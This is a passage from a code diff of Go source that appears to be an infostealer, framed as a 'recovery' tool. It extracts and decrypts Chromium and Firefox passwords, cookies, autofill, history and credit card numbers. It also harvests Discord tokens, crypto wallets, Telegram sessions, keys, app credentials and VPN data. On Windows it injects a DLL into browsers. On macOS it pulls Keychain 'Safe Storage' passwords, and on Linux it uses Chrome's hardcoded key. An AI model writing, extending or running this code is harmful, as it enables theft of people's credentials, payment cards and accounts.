d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
queries := []string{
|
||||
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition, v.visit_duration FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
|
||||
fmt.Sprintf("SELECT u.url, u.title, v.visit_time, v.transition FROM visits v JOIN urls u ON u.id = v.url ORDER BY v.visit_time DESC LIMIT %d", HistoryLimit),
|
||||
}
|
||||
|
||||
var results []types.HistoryResult
|
||||
for _, q := range queries {
|
||||
rows, err := d.Query(q)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for rows.Next() {
|
||||
var url, title sql.NullString
|
||||
var visitTime sql.NullInt64
|
||||
var transition, duration sql.NullInt64
|
||||
|
||||
if strings.Contains(q, "visit_duration") {
|
||||
rows.Scan(&url, &title, &visitTime, &transition, &duration)
|
||||
} else {
|
||||
rows.Scan(&url, &title, &visitTime, &transition)
|
||||
}
|
||||
|
||||
var visitTimeUnix int64
|
||||
if visitTime.Int64 > 0 {
|
||||
visitTimeUnix = (visitTime.Int64 - 11644473600000000) / 1000000
|
||||
}
|
||||
if url.String != "" {
|
||||
results = append(results, types.HistoryResult{
|
||||
URL: url.String,
|
||||
Title: title.String,
|
||||
VisitTimeUnix: visitTimeUnix,
|
||||
VisitCount: duration.Int64,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
if len(results) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func ExtractBookmarks(profile types.ProfileInfo, cfg types.BrowserConfig) []types.BookmarkResult {
|
||||
bookmarkPath := filepath.Join(profile.Path, "Bookmarks")
|
||||
data, err := os.ReadFile(bookmarkPath)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var bookmarkData map[string]interface{}
|
||||
if err := json.Unmarshal(data, &bookmarkData); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.BookmarkResult
|
||||
if roots, ok := bookmarkData["roots"].(map[string]interface{}); ok {
|
||||
walkBookmarkNode(roots, cfg.Name, profile.Name, &results)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func walkBookmarkNode(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
|
||||
for _, key := range []string{"bookmark_bar", "other", "synced"} {
|
||||
if child, ok := node[key].(map[string]interface{}); ok {
|
||||
walkBookmarkChildren(child, browser, profileName, results)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func walkBookmarkChildren(node map[string]interface{}, browser, profileName string, results *[]types.BookmarkResult) {
|
||||
children, ok := node["children"].([]interface{})
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
for _, c := range children {
|
||||
child, ok := c.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
switch child["type"] {
|
||||
case "url":
|
||||
name, _ := child["name"].(string)
|
||||
url, _ := child["url"].(string)
|
||||
if url != "" {
|
||||
*results = append(*results, types.BookmarkResult{
|
||||
Name: name,
|
||||
URL: url,
|
||||
Type: "url",
|
||||
Browser: browser,
|
||||
Profile: profileName,
|
||||
})
|
||||
}
|
||||
case "folder":
|
||||
walkBookmarkChildren(child, browser, profileName, results)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ExtractCreditCards(profile types.ProfileInfo, cfg types.BrowserConfig, keys *types.ResolvedKeys, pids []uint32) []types.CreditCardResult {
|
||||
dbPath := filepath.Join(profile.Path, "Web Data")
|
||||
if _, err := os.Stat(dbPath); err != nil {
|
||||
return nil
|
||||
}
|
||||
d, err := db.OpenDatabase(dbPath, pids)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
rows, err := d.Query("SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, nickname FROM credit_cards")
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var results []types.CreditCardResult
|
||||
for rows.Next() {
|
||||
var name, nickname sql.NullString
|
||||
var expMonth, expYear sql.NullInt64
|
||||
var encrypted []byte
|
||||
rows.Scan(&name, &expMonth, &expYear, &encrypted, &nickname)
|
||||
|
||||
cardNumber := crypto.DecryptChromiumBlob(encrypted, keys.V10, keys.V20)
|
||||
if name.String != "" || cardNumber != "" {
|
||||
results = append(results, types.CreditCardResult{
|
||||
NameOnCard: name.String,
|
||||
ExpirationMonth: int(expMonth.Int64),
|
||||
ExpirationYear: int(expYear.Int64),
|
||||
CardNumber: cardNumber,
|
||||
Nickname: nickname.String,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
})
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package chromium
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[chromium] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,399 @@
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/chromium"
|
||||
"recovery/recovery/crypto"
|
||||
"recovery/recovery/discord"
|
||||
"recovery/recovery/firefox"
|
||||
"recovery/recovery/platform"
|
||||
"recovery/recovery/scanner"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
func mergeInto(dst, src *types.CollectionResult) {
|
||||
dst.Passwords = append(dst.Passwords, src.Passwords...)
|
||||
dst.Cookies = append(dst.Cookies, src.Cookies...)
|
||||
dst.Autofill = append(dst.Autofill, src.Autofill...)
|
||||
dst.History = append(dst.History, src.History...)
|
||||
dst.Bookmarks = append(dst.Bookmarks, src.Bookmarks...)
|
||||
dst.CreditCards = append(dst.CreditCards, src.CreditCards...)
|
||||
dst.DiscordTokens = append(dst.DiscordTokens, src.DiscordTokens...)
|
||||
dst.Files = append(dst.Files, src.Files...)
|
||||
dst.Wallets = append(dst.Wallets, src.Wallets...)
|
||||
dst.Telegram = append(dst.Telegram, src.Telegram...)
|
||||
dst.Keys = append(dst.Keys, src.Keys...)
|
||||
dst.AppCredentials = append(dst.AppCredentials, src.AppCredentials...)
|
||||
if src.Gaming != nil {
|
||||
dst.Gaming = src.Gaming
|
||||
}
|
||||
if src.VPNs != nil {
|
||||
dst.VPNs = src.VPNs
|
||||
}
|
||||
dst.Errors = append(dst.Errors, src.Errors...)
|
||||
}
|
||||
|
||||
func Collect(ctx context.Context, opts types.CollectOptions, partialFn func(*types.CollectionResult)) (*types.CollectionResult, error) {
|
||||
result := &types.CollectionResult{}
|
||||
|
||||
platform.ResetHandleCache()
|
||||
defer platform.ResetHandleCache()
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
wg sync.WaitGroup
|
||||
)
|
||||
|
||||
launchScans(opts, result, partialFn, &wg, &mu)
|
||||
|
||||
platformSetupCollect()
|
||||
defer platformTeardownCollect()
|
||||
|
||||
needsBrowserData := opts.Passwords || opts.Cookies || opts.Autofill ||
|
||||
opts.History || opts.Bookmarks || opts.CreditCards
|
||||
|
||||
type job struct {
|
||||
cfg types.BrowserConfig
|
||||
keys *types.ResolvedKeys
|
||||
profile types.ProfileInfo
|
||||
pids []uint32
|
||||
}
|
||||
|
||||
jobCh := make(chan job, 64)
|
||||
|
||||
// Launch extraction workers up front so they can consume jobs as soon as
|
||||
// each browser's keys resolve, instead of waiting for every browser's key
|
||||
// resolution (and its headless spawn) to finish first.
|
||||
const workers = 4
|
||||
for i := 0; i < workers; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("browser profile extraction", &result.Errors, &mu)
|
||||
for j := range jobCh {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
func() {
|
||||
defer recoverErrors(fmt.Sprintf("%s/%s extraction", j.cfg.Name, j.profile.Name), &result.Errors, &mu)
|
||||
partial := extractProfileData(ctx, j.cfg, j.keys, j.profile, j.pids, opts)
|
||||
mu.Lock()
|
||||
mergeInto(result, partial)
|
||||
mu.Unlock()
|
||||
if partialFn != nil && (len(partial.Passwords) > 0 || len(partial.Cookies) > 0 ||
|
||||
len(partial.Autofill) > 0 || len(partial.History) > 0 ||
|
||||
len(partial.Bookmarks) > 0 || len(partial.CreditCards) > 0) {
|
||||
partialFn(partial)
|
||||
}
|
||||
}()
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if needsBrowserData {
|
||||
const keyWorkers = 3
|
||||
sem := make(chan struct{}, keyWorkers)
|
||||
var keyWg sync.WaitGroup
|
||||
for _, cfg := range browser.Browsers {
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
if len(profiles) == 0 {
|
||||
continue
|
||||
}
|
||||
keyWg.Add(1)
|
||||
go func(cfg types.BrowserConfig, profiles []types.ProfileInfo) {
|
||||
defer keyWg.Done()
|
||||
sem <- struct{}{}
|
||||
defer func() { <-sem }()
|
||||
|
||||
logf("resolving keys for %s (%d profiles)", cfg.Name, len(profiles))
|
||||
keys, err := crypto.ResolveKeys(cfg)
|
||||
if err != nil {
|
||||
logf("%s key resolution failed: %v", cfg.Name, err)
|
||||
keys = &types.ResolvedKeys{}
|
||||
mu.Lock()
|
||||
result.Errors = append(result.Errors, fmt.Sprintf("%s key resolution: %v", cfg.Name, err))
|
||||
mu.Unlock()
|
||||
}
|
||||
pids, _ := platform.FindProcesses(cfg.ProcessName)
|
||||
|
||||
for _, p := range profiles {
|
||||
select {
|
||||
case jobCh <- job{cfg, keys, p, pids}:
|
||||
case <-ctx.Done():
|
||||
logf("collection deadline reached; stopping job producer for %s", cfg.Name)
|
||||
return
|
||||
}
|
||||
}
|
||||
}(cfg, profiles)
|
||||
}
|
||||
|
||||
go func() {
|
||||
keyWg.Wait()
|
||||
close(jobCh)
|
||||
}()
|
||||
} else {
|
||||
close(jobCh)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
if err := ctx.Err(); err != nil {
|
||||
note := fmt.Sprintf("collection interrupted (%v); results may be incomplete", err)
|
||||
result.Errors = append(result.Errors, note)
|
||||
logf("%s", note)
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func launchScans(opts types.CollectOptions, result *types.CollectionResult, partialFn func(*types.CollectionResult), wg *sync.WaitGroup, mu *sync.Mutex) {
|
||||
if opts.Discord {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("discord token extraction", &result.Errors, mu)
|
||||
tokens := discord.ExtractTokens()
|
||||
if len(tokens) > 0 {
|
||||
mu.Lock()
|
||||
result.DiscordTokens = append(result.DiscordTokens, tokens...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{DiscordTokens: tokens})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Files {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("file scan", &result.Errors, mu)
|
||||
files := scanner.ScanFiles()
|
||||
if len(files) > 0 {
|
||||
mu.Lock()
|
||||
result.Files = append(result.Files, files...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Files: files})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Wallets {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("wallet scan", &result.Errors, mu)
|
||||
wallets := scanner.ScanWallets()
|
||||
if len(wallets) > 0 {
|
||||
mu.Lock()
|
||||
result.Wallets = append(result.Wallets, wallets...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Wallets: wallets})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Telegram {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("telegram scan", &result.Errors, mu)
|
||||
sessions := scanner.ScanTelegram()
|
||||
if len(sessions) > 0 {
|
||||
mu.Lock()
|
||||
result.Telegram = append(result.Telegram, sessions...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Telegram: sessions})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Keys {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("key scan", &result.Errors, mu)
|
||||
keys := scanner.ScanKeys()
|
||||
if len(keys) > 0 {
|
||||
mu.Lock()
|
||||
result.Keys = append(result.Keys, keys...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Keys: keys})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Apps {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("app credentials scan", &result.Errors, mu)
|
||||
apps := scanner.ScanApps()
|
||||
if len(apps) > 0 {
|
||||
mu.Lock()
|
||||
result.AppCredentials = append(result.AppCredentials, apps...)
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{AppCredentials: apps})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.Gaming {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("gaming scan", &result.Errors, mu)
|
||||
gaming := ScanGaming()
|
||||
if gaming != nil {
|
||||
mu.Lock()
|
||||
result.Gaming = gaming
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{Gaming: gaming})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
if opts.VPNs {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors("vpn scan", &result.Errors, mu)
|
||||
vpns := ScanVPNs()
|
||||
if vpns != nil {
|
||||
mu.Lock()
|
||||
result.VPNs = vpns
|
||||
mu.Unlock()
|
||||
if partialFn != nil {
|
||||
partialFn(&types.CollectionResult{VPNs: vpns})
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func extractProfileData(ctx context.Context, cfg types.BrowserConfig, keys *types.ResolvedKeys, profile types.ProfileInfo, pids []uint32, opts types.CollectOptions) *types.CollectionResult {
|
||||
partial := &types.CollectionResult{}
|
||||
var (
|
||||
wg sync.WaitGroup
|
||||
eMu sync.Mutex
|
||||
errs []string
|
||||
)
|
||||
label := fmt.Sprintf("%s/%s", cfg.Name, profile.Name)
|
||||
|
||||
if cfg.IsFirefox {
|
||||
if opts.Passwords {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" password extraction", &errs, &eMu)
|
||||
partial.Passwords = firefox.ExtractPasswords(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Cookies {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
|
||||
partial.Cookies = firefox.ExtractCookies(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.Autofill {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
|
||||
partial.Autofill = firefox.ExtractAutofill(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.History {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" history extraction", &errs, &eMu)
|
||||
partial.History = firefox.ExtractHistory(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.Bookmarks {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
|
||||
partial.Bookmarks = firefox.ExtractBookmarks(profile, cfg)
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
partial.Errors = errs
|
||||
return partial
|
||||
}
|
||||
|
||||
if opts.Passwords {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" password extraction", &errs, &eMu)
|
||||
partial.Passwords = chromium.ExtractPasswords(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Cookies {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" cookie extraction", &errs, &eMu)
|
||||
partial.Cookies = chromium.ExtractCookies(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Autofill {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" autofill extraction", &errs, &eMu)
|
||||
partial.Autofill = chromium.ExtractAutofill(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.History {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" history extraction", &errs, &eMu)
|
||||
partial.History = chromium.ExtractHistory(profile, cfg, pids)
|
||||
}()
|
||||
}
|
||||
if opts.Bookmarks {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" bookmark extraction", &errs, &eMu)
|
||||
partial.Bookmarks = chromium.ExtractBookmarks(profile, cfg)
|
||||
}()
|
||||
}
|
||||
if opts.CreditCards {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer recoverErrors(label+" credit card extraction", &errs, &eMu)
|
||||
partial.CreditCards = chromium.ExtractCreditCards(profile, cfg, keys, pids)
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
partial.Errors = errs
|
||||
return partial
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package recovery
|
||||
|
||||
func platformSetupCollect() {}
|
||||
|
||||
func platformTeardownCollect() {}
|
||||
@@ -0,0 +1,41 @@
|
||||
//go:build windows
|
||||
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/platform"
|
||||
)
|
||||
|
||||
func platformSetupCollect() {
|
||||
if os.Getenv("KEMATIAN_NO_INJECT") != "" {
|
||||
logf("injection disabled via KEMATIAN_NO_INJECT — direct file access only")
|
||||
return
|
||||
}
|
||||
|
||||
dllBytes := platform.GetEmbeddedDLL()
|
||||
if dllBytes != nil {
|
||||
for _, cfg := range browser.Browsers {
|
||||
logf("attempting DLL injection into %s", cfg.Name)
|
||||
session, err := platform.CreatePipeSession(dllBytes, cfg.Name)
|
||||
if err != nil {
|
||||
logf("inject %s failed: %v", cfg.Name, err)
|
||||
continue
|
||||
}
|
||||
_ = session
|
||||
logf("pipe session established with %s", cfg.Name)
|
||||
break
|
||||
}
|
||||
} else {
|
||||
logf("no embedded DLL — direct file access only")
|
||||
}
|
||||
}
|
||||
|
||||
func platformTeardownCollect() {
|
||||
if platform.ActivePipeSession != nil {
|
||||
platform.ActivePipeSession.Close()
|
||||
platform.ActivePipeSession = nil
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package crypto
|
||||
|
||||
import "strings"
|
||||
|
||||
func CleanPassword(data []byte) string {
|
||||
s := string(data)
|
||||
allPrint := true
|
||||
for _, c := range s {
|
||||
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
|
||||
allPrint = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if allPrint {
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
if len(data) > 32 {
|
||||
s2 := string(data[32:])
|
||||
allPrint2 := true
|
||||
for _, c := range s2 {
|
||||
if c < 32 && c != '\t' && c != '\n' && c != '\r' {
|
||||
allPrint2 = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if allPrint2 {
|
||||
return strings.TrimSpace(s2)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
//go:build darwin
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha1"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
const (
|
||||
darwinChromeSalt = "saltysalt"
|
||||
darwinChromeIterations = 1003
|
||||
darwinChromeKeyLen = 16
|
||||
)
|
||||
|
||||
var chromeKeychainServices = map[string]string{
|
||||
"Chrome": "Chrome Safe Storage",
|
||||
"Chrome Beta": "Chrome Safe Storage",
|
||||
"Chrome Canary": "Chrome Safe Storage",
|
||||
"Chromium": "Chromium Safe Storage",
|
||||
"Edge": "Microsoft Edge Safe Storage",
|
||||
"Brave": "Brave Safe Storage",
|
||||
"Vivaldi": "Vivaldi Safe Storage",
|
||||
"Opera": "Opera Safe Storage",
|
||||
"Opera GX": "Opera Safe Storage",
|
||||
"Arc": "Arc Safe Storage",
|
||||
"Yandex": "Yandex Safe Storage",
|
||||
}
|
||||
|
||||
func getKeychainPassword(browserName string) (string, error) {
|
||||
service, ok := chromeKeychainServices[browserName]
|
||||
if !ok {
|
||||
service = browserName + " Safe Storage"
|
||||
}
|
||||
|
||||
cmd := exec.Command("security", "find-generic-password", "-wa", service)
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("keychain lookup failed for %s: %w", service, err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)), nil
|
||||
}
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
if _, err := os.Stat(localStatePath); err != nil {
|
||||
// fuck it we still trying
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
return resolveKeyFromKeychain(cfg)
|
||||
}
|
||||
|
||||
func resolveKeyFromKeychain(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
password, err := getKeychainPassword(cfg.Name)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("could not get keychain password for %s: %w", cfg.Name, err)
|
||||
}
|
||||
|
||||
key := pbkdf2.Key([]byte(password), []byte(darwinChromeSalt), darwinChromeIterations, darwinChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if len(encrypted) < 3 {
|
||||
return ""
|
||||
}
|
||||
prefix := string(encrypted[:3])
|
||||
if prefix != "v10" && prefix != "v11" {
|
||||
return ""
|
||||
}
|
||||
|
||||
key := v10Key
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
ciphertext := encrypted[3:]
|
||||
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
plaintext, err := aesCBCDecrypt(key, ciphertext)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
iv := make([]byte, aes.BlockSize)
|
||||
for i := range iv {
|
||||
iv[i] = 0x20
|
||||
}
|
||||
|
||||
if len(ciphertext) < aes.BlockSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
plaintext := make([]byte, len(ciphertext))
|
||||
mode.CryptBlocks(plaintext, ciphertext)
|
||||
|
||||
plaintext = pkcs5Unpad(plaintext)
|
||||
if plaintext == nil {
|
||||
return nil, fmt.Errorf("invalid padding")
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func pkcs5Unpad(data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
padLen := int(data[len(data)-1])
|
||||
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
|
||||
return nil
|
||||
}
|
||||
for i := len(data) - padLen; i < len(data); i++ {
|
||||
if data[i] != byte(padLen) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return data[:len(data)-padLen]
|
||||
}
|
||||
|
||||
func CryptUnprotectData(in []byte) ([]byte, error) {
|
||||
return nil, fmt.Errorf("DPAPI not available on macOS")
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
//go:build linux
|
||||
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/sha1"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
|
||||
"golang.org/x/crypto/pbkdf2"
|
||||
)
|
||||
|
||||
const (
|
||||
linuxChromePassword = "peanuts"
|
||||
linuxChromeSalt = "saltysalt"
|
||||
linuxChromeIterations = 1
|
||||
linuxChromeKeyLen = 16
|
||||
)
|
||||
|
||||
func ResolveKeys(cfg types.BrowserConfig) (*types.ResolvedKeys, error) {
|
||||
if cfg.IsFirefox {
|
||||
return &types.ResolvedKeys{}, nil
|
||||
}
|
||||
|
||||
localStatePath := browser.LocalStatePath(cfg)
|
||||
if _, err := os.Stat(localStatePath); err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(localStatePath)
|
||||
if err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
var localState map[string]interface{}
|
||||
if err := json.Unmarshal(data, &localState); err != nil {
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
key := pbkdf2.Key([]byte(linuxChromePassword), []byte(linuxChromeSalt), linuxChromeIterations, linuxChromeKeyLen, sha1.New)
|
||||
return &types.ResolvedKeys{V10: key}, nil
|
||||
}
|
||||
|
||||
func DecryptChromiumBlob(encrypted []byte, v10Key, v20Key []byte) string {
|
||||
if len(encrypted) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if len(encrypted) < 3 {
|
||||
return ""
|
||||
}
|
||||
prefix := string(encrypted[:3])
|
||||
if prefix != "v10" && prefix != "v11" {
|
||||
return ""
|
||||
}
|
||||
|
||||
key := v10Key
|
||||
if key == nil || len(key) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
ciphertext := encrypted[3:]
|
||||
if len(ciphertext) == 0 || len(ciphertext)%aes.BlockSize != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
plaintext, err := aesCBCDecrypt(key, ciphertext)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return CleanPassword(plaintext)
|
||||
}
|
||||
|
||||
func aesCBCDecrypt(key, ciphertext []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
iv := make([]byte, aes.BlockSize)
|
||||
for i := range iv {
|
||||
iv[i] = 0x20
|
||||
}
|
||||
|
||||
if len(ciphertext) < aes.BlockSize {
|
||||
return nil, fmt.Errorf("ciphertext too short")
|
||||
}
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
plaintext := make([]byte, len(ciphertext))
|
||||
mode.CryptBlocks(plaintext, ciphertext)
|
||||
|
||||
// PKCS5/PKCS7 unpad
|
||||
plaintext = pkcs5Unpad(plaintext)
|
||||
if plaintext == nil {
|
||||
return nil, fmt.Errorf("invalid padding")
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
func pkcs5Unpad(data []byte) []byte {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
padLen := int(data[len(data)-1])
|
||||
if padLen == 0 || padLen > aes.BlockSize || padLen > len(data) {
|
||||
return nil
|
||||
}
|
||||
for i := len(data) - padLen; i < len(data); i++ {
|
||||
if data[i] != byte(padLen) {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
